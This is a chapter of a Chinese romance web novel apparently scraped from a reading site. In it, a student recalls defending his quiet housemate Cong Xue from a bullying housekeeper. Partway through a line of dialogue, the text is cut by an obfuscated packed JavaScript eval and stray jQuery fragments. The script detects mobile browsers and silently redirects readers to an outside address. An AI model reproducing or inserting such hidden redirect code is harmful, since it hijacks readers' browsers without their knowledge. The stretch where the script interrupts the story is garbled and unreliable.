默认冷灰
24号文字
方正启体

12. 12

作者:景阁本书字数:K更新时间:
    一年前,云明山还只是一座很冷门的山,网上随处可见的南城三日游攻略里都未必能提到这么个地方。


    可短短一年,它却迅速在各个网络平台火了起来。


    传说这里的福源庵里供着一棵百年神树,专司人间因缘。


    什么面试入职、升迁加薪、相亲交友……只要是人和人之间的关系,它都能护佑一二。


    许多博主来此地打卡,流量一带动,香火日益旺盛,搞得这座原本清幽的小庙一夜爆红,成了一座网红景点。


    福源庵的正中,一棵粗壮的老树静静矗立着,枝干虬劲,树皮斑驳,看着像有千年历史了,气势很是庄重。


    可再庄重的气势,还是没能扛住现实的腐蚀——


    枝干上挂满了五颜六色的许愿布条,坠着各式各样的小物件:“逢考必过”木牌,“早日暴富”金荷包,“恋爱大吉”粉色同心结……远远望去,老树一片花里胡哨,很有点晚节不保的意思。


    耿路辉顶着一副歪戴的墨镜,身穿紧身运动背心,露出刻意练出来的肱二头肌,在正午的阳光下晒得像条刚出锅的龙虾。


    他拎着排了半小时队才买到的“福缘”文创雪糕,钻进树底下的阴凉里,却只看到方屿青一个人靠在树干上,懒洋洋地望天。


    饶是耿路辉一个直男也不得不承认,方屿青这厮,猛一看,还真是挺人模人样。


    就这么随意的往树底下一站,整个人就跟挂了层晨雾似的,干净又出挑,还带着几分冷静的距离感。


    旁边都经过多少拨小姑娘了,没几个敢上前搭讪的,但回头窥探的视线只多不少。


    “诶,宋恩让呢?”


    耿路辉走近了,随手撕开一只雪糕递了过去。方屿青侧头一躲,他又丝滑地将雪糕塞回了自己嘴巴里。


    “不是她要吃雪糕的吗?”


    “排队去了。”


    方屿青一抬下巴,示意远处的许愿锦囊售卖窗口。


    耿路辉顺着看过去,果然看见长长队伍里的宋恩让。


    她今天穿了一身精致的压褶南瓜袖连衣裙,打着小巧的木耳边阳伞,墨镜半耷在鼻梁上,妆容精致,神色却有点恹恹的。


    “啧,公主殿下看上去不太高兴啊。”耿路辉拍了拍方屿青的肩膀,“走呗,过去陪她排个队。”


    “你去吧,我没愿望可许。”


    方屿青双手插兜,微仰着头,盯着树干上垂下来的一个小东西发呆。


    那是一只粉嘟嘟的桃子形吊坠,上面印着四个小字:桃你欢心。


    方屿青盯着那颗桃子看了一会儿,像是想起什么有趣的事,唇角缓缓勾起一抹弧度。


    “嗬,你没有,爸爸就有了?小爷我什么心愿都靠自己双手实现!不就是人和人的缘分吗,就不劳烦各路神仙了哈。”耿路辉手舞足蹈地说。


    方屿青好笑地瞥一眼他手里:“你的缘分要化了。”


    “……”


    耿路辉赶紧大口吸溜起快速融化的“福缘”雪糕。


    他一边吸、一边问:“青青,你留学的事准备得咋样了?”


    方屿青高深莫测地仰着头,懒得搭理他。


    “其实也没啥好准备的。”耿路辉舔着雪糕,自说自话,“反正你外公的房子留给你了,那边一切都是现成的。到时候真需要点什么,你尽管开口,爸爸就算赴汤蹈火,也给你送过去!”


    “开三十分钟车叫赴汤蹈火?”方屿青眼皮都没抬,嘴角挂着一抹笑,“那接个机算什么,上刀山下油锅?”


    “嘿,你我兄弟马上就能在大洋彼岸团聚了,爸爸我这心里甭提多踏实了!”


    “不替考,不写作业,不改论文。”


    “……”


    耿路辉的嘴角垮了下来——这雪糕怎么回事,一瞬间就不甜了!


    “青青啊,我记得你以前挺爱吃冰激凌的,怎么现在一点也不碰了?”


    方屿青一愣:“我有吗?”


    “有啊,高一那会儿吧,我记得特清楚,有段时间你几乎每天都买。当时我还以为你是在凹什么‘甜系奶狗学霸’人设,就没戳穿你而已。”


    方屿青没说话,神色却有几分怔忪。


    那段时间,外公刚刚过世,他因为参加生物竞赛集训被缴了手机,没能见上外公最后一面。


    他自己也说不上来,是不是因为情绪低落,才会想要寻求甜食带来的愉悦感。又或者,仅仅是因为外公生前最爱吃的,就是冰激凌。


    耿路辉终于干掉了一整根雪糕,把“福缘”彻底吞进肚子里。


    甩了甩沾满糖渍的手,他装作超绝不经意地问:“那个……你要出国的事,跟丛雪说了吗?”


    方屿青一脸“我就知道”的表情。


    他像是压根没听见耿路辉的问题,慢悠悠迈开步子,不紧不慢地走向福袋售卖窗口的长龙。


    耿路辉挑起眉毛,亦步亦趋地跟着。


    “你呀,就是嘴硬心软!嘴上说着不陪,身体还不是老老实实地过来排队了?走走走,宋恩让在前头呢……”


    方屿青一把推开他搭在自己肩膀上的手,眉头皱得死紧:“再不洗手,小心变成蜜糖龙虾!”


    耿路辉噘起嘴,故作委屈地举起两只手,看着更像一只龙虾了。


    “青青,说实话啊,在宋恩让和你们大学那些莺莺燕燕之间,我投丛雪一票。”


    方屿青嘴角抽了一下,懒懒道:“还轮不到你投。”


    耿路辉“嘁”了一声,带着那种“没什么事情是爸爸看不穿”的揶揄坏笑。


    方屿青和丛雪之间的秘密关系,耿路辉也是无意之中发现的。


    去年秋天,他参投的一只热门股票突然暴跌。耿少爷一夜之间亏损了巨资,心情低落到极点,偷偷溜回了国,说是要回故乡修身养性,实际是在国内边嘬奶茶、边舔伤口。


    不敢让他爸知道他回来了,耿路辉一直窝在酒店住着。


    期间有一天,他借方屿青的车出门兜风。


    车开得正爽呢,手机响了,是许久不联系的老同学。耿路辉边接电话边打哈哈,结果前头的车突然急刹,给他吓了一大跳,手机没拿稳,一下子飞到了座位底下。


    他只好靠边停车,猫着腰去够。


    手在座椅下摸来摸去,手机没摸到,倒是摸出了一枚软软的、小小的、包装完整的东西。


    耿路辉盯着这小东西看了两秒,像被烫着似的,猛地又给塞了回去!


    过了一会儿,他怀着难以置信的心情,重新又给掏出来,拿在手里捏了捏。


    是避.孕.套没错。


    品牌他还认识。


    在他好哥们方屿青的车上。


    耿路辉觉得自己瞎了。


    他立刻飙车冲去找方屿青,揪着他的领子,激动地一顿乱吼:“青青!是谁!是谁夺走了你宝贵的贞操?宋恩让?不可能吧?不会是她吧!!!”


    方屿青被他摇得差点脑震荡,烦躁地一把推开他的钳制。


    这淡定的反应让耿路辉傻了眼。


    他盯着方屿青的眼睛,鬼使神差的,忽然来了灵感,语气倏地一变:“丛雪?”


    方屿青没承认,但也没否认,只是警告性地瞥了他一眼:“……管好你那张嘴。”


    耿路辉彻底确凿了心中的猜测。


    自那之后,再提到丛雪,他的心态就完全变了,再也不是普通同学似的平和,反而带上了点……景仰。


    “其实吧,我以前就觉得,你对丛雪挺照顾的。”


    “我?”方屿青像是听到一桩稀奇事。


    “对啊,高中的时候,你不还亲自挑了她给你当同桌嘛?”


    “那是我妈交待的。”方屿青一耸肩,语气平淡,“说她刚转学过来,人生地不熟,让我在学校里照应着点。”


    方屿青说得很随意,像是在解释一件无关紧要的小事,可回忆的碎片却不受控制地从记忆深处翻涌而出。


    确实是他挑选的同桌。


    可选中她的理由,不全是因为妈妈的嘱托。


    “话说,你那时候可真够忙的。”耿路辉搓着下巴回忆往昔,“什么这个那个竞赛,篮球赛,医学社的社团活动……总之就是整天脚不沾地,找你吃饭都得从老师手里抢时间。”


    方屿青“唔”了一声,目光有些轻,飘向远处郁郁葱葱的山头。


    他记得,那个时候的丛雪很安静,沉默得几乎没什么存在感。她坐在他身边,倒像是多了一张屏障,能隔绝外界的许多喧嚣。


    对方屿青来说,那种寂静,是一种难得的喘息。


    从高二开始,他们一直都是同桌,却并没有因此变得熟悉。


    他很忙,宋恩让和耿路辉又天天围在边上,几乎填满了他仅有的空闲时间,让他没太多功夫搭理不熟悉的人,包括丛雪。


    耿路辉的话还没说完:“但是啊,后来发生的一桩事,让我觉得,你对丛雪不仅仅是照应一下那么简单。你还记得,你外婆留下了一个老保姆,叫毛姐的么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609645|187611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    方屿青微微皱起眉,露出回忆的神色:“是有这么个人。”


    “那个毛姐,被你发现私下里竟然敢欺负丛雪!于是乎,你就安排她提前退休了,导致曾阿姨后来一直没找到得力的人。这几年,你家的保姆总是在换。”


    “……”


    方屿青依稀记得有这么一回事。


    有一天,丛雪来上学的时候,粗黑的马尾不见了,取而代之的是剪得参差不齐的短发,垂在耳朵上,一看就是她自己剪的。


    后桌的女生先瞧见了,扑哧一声笑起来,其他同学也注意到了,纷纷笑成一片,说这头发像是狗牙啃出来的,也忒先锋忒艺术了。


    丛雪捂着头发,默默将头埋了下去。


    方屿青转头看她一眼,随口问:“我妈没给你钱理发?”


    彼时他正在解一道数学综合题,心不在焉地问了一嘴,没想到,丛雪却像是被点了穴一样,脸一下子红透了。


    她忙不迭摇头:“没有,我是自己想剪的……怕头发太长,耽误学习。”


    方屿青的心思全在题目上,没觉得有什么不对,或许有的女生就爱好亲自动手吧。


    他胳膊伸进桌洞,掏出一个棒球帽丢了过去。


    “借你。”他眼睛盯着卷子,随口说。


    那之后没几天,方屿青有次白天翘课回家,溜进他爸的书房,翻找一本典藏版旧书。


    书房的门开着,方屿青弯着腰,没人注意到他在。


    门外走廊上,毛姐一边打扫、一边正和什么人打电话。


    “哎呦,女孩子掉头发真的好烦喔!粘在地毯上都吸不掉的。”


    “听说是菜场里面长大的,那种市井地方能养出什么好姑娘?唉,太太到底是哪根筋搭错了,竟然会带这种人回家来。”


    “我不过就是说了她两句,谁知道,她居然偷偷把头发剪掉了,是生怕太太不问是不是?”


    “放心嘞!她要是敢讲出去,我有好果子给她吃!”


    ……


    方屿青站在书房里,有点说不清那一刻到底是什么感受。


    硬要说的话,大概是从一条偶然撕开的缝隙里,窥到了一点点丛雪努力遮掩的、他完全没有经历过的生活。


    她虽然住在这个家里,却更像是一位透明的客人,不敢留下太多痕迹。


    他们明明住在同一层楼,他却从没有听到过她的脚步声。


    每天在同一张餐桌上吃饭,方屿青却有点想不起来,丛雪吃饭的时候是什么神情,她平时喜欢吃什么,不喜欢吃什么。


    连被家里的佣人刁难,她都不敢说出口,生怕给主人家添麻烦。


    方屿青记得,刚见面那天,他曾经让她放学先走。可是后来,不知道从哪天起,丛雪离校的时间也越来越晚。


    有好几次,他才出汇知楼,远远就看见她背着书包站在布告栏底下,垂着头,默默盯着自己的鞋尖,似乎在发呆。


    她就像是那种不需要什么照顾就能存活的植物,一点点阳光,一点点水分,就可以在角落里悄然生长。


    方屿青还记得,有一年冬天,他在学校的图书馆里自习,忘记了时间。傍晚的时候,天色忽然变得昏沉,接着就下起了大雪。


    南城很少下雪。


    他披着雪花走出校门的时候,看见一道纤瘦的身影站在路灯下,仰着头,脸上带着一点新奇的笑意,正原地转着圈圈,用鞋尖去接落下来的雪花。


    丛雪的头发稍稍长长了一些,已经不再显得可笑。那顶棒球帽,他后来没有收回来,却也没再见她戴过。


    此刻,她校服外面罩着一件深灰色羽绒服,几乎融进夜色里。嘴里念念有词,一边接着雪花,一边在背诵一篇英文选段。


    那一瞬间,方屿青心中冒出一道猜测:她是不是一直在等我?


    不知道为什么,在这样宁静的时刻,他那运转了一整天的大脑竟短暂地停歇下来,眼前闪过一幅画面:这个连开心都很安静的小姑娘正站在镜子前,手里拿着剪刀,动作生涩而迟缓,一撮一撮剪掉了陪伴了自己多年的长发……


    那个时候,她有没有哭过?


    ……


    窗口里传来的问询声将方屿青从回忆里唤醒。


    “您好,请问您要哪款许愿福袋?”


    方屿青抬起眼,目光扫过柜台里一众五彩斑斓的挂件,最后停在那颗圆润饱满的桃子身上。


    她最近似乎变得更爱哭了点,得想个办法讨她欢心才行。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)